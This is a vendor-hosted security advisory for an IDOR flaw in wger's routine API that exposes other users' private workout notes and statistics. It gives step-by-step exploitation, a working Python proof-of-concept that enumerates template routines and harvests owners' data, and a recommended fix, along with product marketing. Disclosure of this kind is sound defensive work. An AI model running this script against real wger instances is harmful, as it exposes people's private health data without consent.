GHSA-cj9g-27ph-4cgv
HIGHGHSA-cj9g-27ph-4cgv is a high-severity (CVSS 7.5) CWE-639 vulnerability in wger. O3 Security confirms whether GHSA-cj9g-27ph-4cgv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
wger Vulnerable to IDOR: Authenticated Users Can Read Any User's Private Workout Session Data via Template Routine API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cj9g-27ph-4cgv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-cj9g-27ph-4cgv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wgerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.
The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).
An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.
Description
wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.
The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.
Root Cause
File: wger/manager/api/permissions.py, lines 30–41
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
if obj.is_template: # ← any template is readable
return request.method in permissions.SAFE_METHODS # by any authenticated user
return False
File: wger/manager/api/views.py, lines 173–199
@action(detail=True, url_path='logs')
def logs(self, request, pk):
out = LogDisplaySerializer(
self.get_object().logs_display(), # ← returns OWNER's logs, not request.user's
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
out = LogStatsDataSerializer(
self.get_object().calculate_log_statistics() # ← owner's statistics
).data
return Response(out)
self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.
The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.
Impact
An authenticated attacker can:
-
Enumerate all public template routines across all users:
GET /api/v2/routine/?is_template=true&is_public=true -
Read private workout session notes (freeform text entered by the victim after each workout session)
-
Read full workout history including exercise names, weights, repetitions, and dates
-
Read training statistics including volume, intensity, and set counts per muscle group and mesocycle
This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.
Proof of Concept
Scenario
There are two users in the system:
-
alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.
-
bob : a second registered user who has never interacted with alice's account.
The attack:
Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.
Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.
Step-by-step
-
Bob registers a free account on the wger instance and obtains a JWT access token via
POST /api/v2/token. -
Bob calls
GET /api/v2/routine/?is_template=true&is_public=truethis lists all public template routines from all users across the platform, including their IDs. -
For each routine ID returned, Bob calls
GET /api/v2/routine/{id}/logs/this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps. -
Bob calls
GET /api/v2/routine/{id}/stats/to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.
No special permissions are needed. A fresh account (1-minute-old) can exploit this.
Python PoC
#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target: GET /api/v2/routine/{id}/logs/
GET /api/v2/routine/{id}/stats/
"""
import requests
import json
BASE_URL = "http://TARGET_IP" # replace with target
def get_token(username, password):
r = requests.post(
f"{BASE_URL}/api/v2/token",
json={"username": username, "password": password},
)
r.raise_for_status()
return r.json()["access"]
def exploit(attacker_token):
headers = {"Authorization": f"Bearer {attacker_token}"}
# Step 1: Enumerate all public template routines (from ALL users)
print("[*] Step 1: Enumerating public template routines...")
r = requests.get(
f"{BASE_URL}/api/v2/routine/",
params={"is_template": "true", "is_public": "true"},
headers=headers,
)
routines = r.json().get("results", [])
print(f"[+] Found {len(routines)} public template routine(s)\n")
for routine in routines:
routine_id = routine["id"]
routine_name = routine["name"]
print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")
# Step 2: Fetch the OWNER's workout session logs (IDOR)
logs_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
headers=headers,
)
if logs_r.status_code == 200:
sessions = logs_r.json()
print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
for session in sessions:
s = session.get("session", {})
print(f" Date: {s.get('date')}")
print(f" Notes: {s.get('notes')}") # ← private user notes
print(f" Impression: {s.get('impression')}")
print(f" Logs: {len(session.get('logs', []))} exercise entries")
print()
# Step 3: Fetch the OWNER's training statistics (IDOR)
stats_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
headers=headers,
)
if stats_r.status_code == 200:
stats = stats_r.json()
print(f"[+] Training statistics for routine #{routine_id}:")
volume = stats.get("volume", {}).get("mesocycle", {})
print(f" Total volume: {volume.get('total')} kg")
print(f" Upper body volume: {volume.get('upper_body')} kg")
print(f" Lower body volume: {volume.get('lower_body')} kg")
print()
print("-" * 60)
if __name__ == "__main__":
# Attacker uses their OWN credentials (no privilege needed)
print("[*] Authenticating as attacker (bob)...")
token = get_token("bob", "bobpassword")
print(f"[+] Token acquired\n")
exploit(token)
Expected output
[*] Authenticating as attacker (bob)...
[+] Token acquired
[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)
[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
Date: 2024-06-15
Notes: SECRET workout note ← alice's private note
Impression: 3
Logs: 0 exercise entries
[+] Training statistics for routine #1:
Total volume: 0.00 kg
Upper body volume: 0.00 kg
Lower body volume: 0.00 kg
<img width="671" height="594" alt="image" src="https://github.com/user-attachments/assets/473cfd87-a63a-452d-a4f3-1aad23c4be24" />
Recommended Fix
The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.
# wger/manager/api/views.py
@action(detail=True, url_path='logs')
def logs(self, request, pk):
routine = self.get_object()
# Only return logs for the requesting user, regardless of routine ownership
out = LogDisplaySerializer(
routine.logs_display(user=request.user),
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
routine = self.get_object()
out = LogStatsDataSerializer(
routine.calculate_log_statistics(user=request.user)
).data
return Response(out)
Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
# Template routines are readable, but only their structure
# never their owner's personal training history
if obj.is_template and view.action not in ('logs', 'stats'):
return request.method in permissions.SAFE_METHODS
return False
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | wger | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wger has shipped for GHSA-cj9g-27ph-4cgv yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-cj9g-27ph-4cgv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-cj9g-27ph-4cgv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-cj9g-27ph-4cgv in your dependencies?
O3 detects GHSA-cj9g-27ph-4cgv across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.